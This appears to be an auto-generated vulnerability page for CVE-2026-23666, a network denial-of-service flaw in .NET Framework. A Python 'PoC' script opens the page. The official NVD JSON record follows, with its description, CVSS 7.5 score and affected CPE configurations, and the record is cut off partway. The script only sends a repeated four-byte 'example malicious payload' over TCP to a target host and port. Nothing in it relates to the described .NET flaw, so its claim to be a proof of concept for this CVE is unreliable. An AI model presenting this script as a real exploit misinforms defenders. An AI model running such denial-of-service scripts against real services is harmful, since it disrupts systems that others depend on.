CVE-2026-23666

import socket # PoC for CVE-2026-23666 # Target: .NET Framework Service # Description: Sends a crafted packet to trigger DoS due to improper input validation def send_malicious_packet(target_ip, target_port): payload = b"\x00\x01\x02\xff" * 1000 # Example malicious payload try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(payload) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_ip = "127.0.0.1" target_port = 8080 send_malicious_packet(target_ip, target_port)

{"cve": {"id": "CVE-2026-23666", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:16:44.507", "lastModified": "2026-05-07T19:46:16.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in .NET Framework allows an unauthorized attacker to deny service over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-755"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net_framework:3.5:-:*:*:*:*:*:*", "matchCriteriaId": "23317443-1968-4791-9F20-AD3B308A83D1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net_framework:3.5:-:*:*:*:*:*:*", "matchCriteriaId": "23317443-1968-4791-9F20-AD3B308A83D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net_framework:4.7.2:*:*:*:*:*:*:*", "matchCriteriaId": "3EF7A75E-EE27-4AA7-8D84-9D696728A4CE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:-:*:*:*:*:*:arm64:*", "matchCriteriaId": "73D24713-D897-408D-893B-77A61982597D"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:-:*:*:*:*:*:x64:*", "matchCriteriaId": "306B7CE6-8239-4AED-9ED4-4C9F5B349F58"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:-:*:*:*:*:*:x86:*", "matchCriteriaId": "345FCD64-D37B-425B-B64C-8B1640B7E850"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net_framework:3.5:-:*:*:*:*:*:*", "matchCriteriaId": "23317443-1968-4791-9F20-AD3B308A83D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net_framework:4.8:*:*:*:*:*:*:*", "matchCriteriaId": "2D3F18AF-84ED-473B-A8DF-65EB23C475AF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:-:*:*:*:*:*:arm64:*", "matchCriteriaId": "73D24713-D897-408D-893B-77A61982597D"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:-:*:*:*:*:*:x64:*", "matchCriteriaId": "306B7CE6-8239-4AED-9ED4-4C9F5B349F58"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:-:*:*:*:*:*:x86:*", "matchCriteriaId": "345FCD64-D37B-425B-B64C-8B1640B7E850"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:-:*:*:*:*:*:arm64:*", "matchCriteriaId": "8FC46499-DB6E-48BF-9334-85EE27AFE7AF"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:-:*:*:*:*:*:x64:*", "matchCriteriaId": "83A79DD6-E74E-419F-93F1-323B68502633"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:-:*:*:*:*:*:x86:*", "matchCriteriaId": "61959ACC-B608-4556-92AF-4D94B338907A"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:-:*:*:*:*:*:arm64:*", "matchCriteriaId": "A9D54EE6-30AF-411C-A285-A4DCB6C6EC06"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:-:*:*:*:*:*:x64:*", "matchCriteriaId": "C230D3BF-7FCE-405C-B62E-B9190C995C3C"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:-:*:*:*:*:*:x86:*", "matchCriteriaId": "1FD62DCB-66D1-4CEA-828E-0BD302AC63CA"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:-:*:*:*:*:*:*:*", "matchCriteriaId": "821614DD-37DD-44E2-A8A4-FE8D23A33C3C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net_framework:3.5:-:*:*:*:*:*:*", "matchCriteriaId": "23317443-1968-4791-9F20-AD3B308A83D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net_framework:4.8.1:*:*:*:*:*:*:*", "matchCriteriaId": "934D4E46-12C1-41DC-A28C-A2C430E965E4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:-:*:*:*:*:*:arm64:*", "matchCriteriaId": "8FC46499-DB6E-48BF-9334-85EE27 ... (truncated)